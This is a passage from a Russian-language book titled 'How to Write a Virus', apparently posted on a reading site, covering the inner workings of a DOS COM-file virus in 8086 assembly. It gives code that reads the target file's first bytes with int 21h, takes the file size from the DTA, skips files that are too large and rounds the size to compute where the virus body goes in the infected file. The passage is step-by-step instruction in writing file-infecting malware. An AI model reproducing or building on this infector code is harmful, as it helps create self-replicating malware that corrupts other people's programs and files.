"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

;байта :
mov bx,ax ;Сохраним дес-
;криптор в BX
mov ah,3fh ;Номер функции
mov cx,3 ;Сколько байт ?
lea dx,old_bytes ;Буфер для счи-
;тываемых данных
int 21h
jnc found_size
jmp close ;Ошибка !

Приведенный фрагмент помещает прочитанную инфор-
мацию в область " old_bytes " . Остальное ясно из
комментариев .


1.11 Выполняем необходимые расчеты

В этом пункте мы покажем, как вирус проводит рас-
чет корректирующего числа для регистра DS ( см .
1.4 ), а также смещения на свой код .Напомним,что
это смещение записывается в начало заражаемого
файла и зависит от его длины . Исходной величиной
для расчета служит длина заражаемого файла,которую
DOS вместе с именем найденного файла и рядом дру-
гих его характеристик помещает в DTA .Размер запи-
сывается в DTA по смещению 01Ah ( младшее слово )
1Ch ( старшее ) . Так как длина COM - файла не мо-
жет быть больше 65535 байт, она помещается в
младшее слово целиком.А слово по смещению 01Ch об-
нуляется !
Вышеуказанные расчеты можно произвести следующим
образом :

found_size:
mov ax,cs:[09ah] ;Найдем размер
;файла
count_size:mov si,ax
cmp ax,64000 ;Файл длиннее
;64000 байт ?
jna toto ;Нет ...
jmp find_next ;Да - тогда он
;нам не подходит
toto: test ax,000fh ;Округлим размер
jz krat_16 ;до целого числа
or ax,000fh ;параграфов в
inc ax ;большую сторону
krat_16: mov di,ax ;И запишем ок-
;ругленное зна-
;чение в DI ...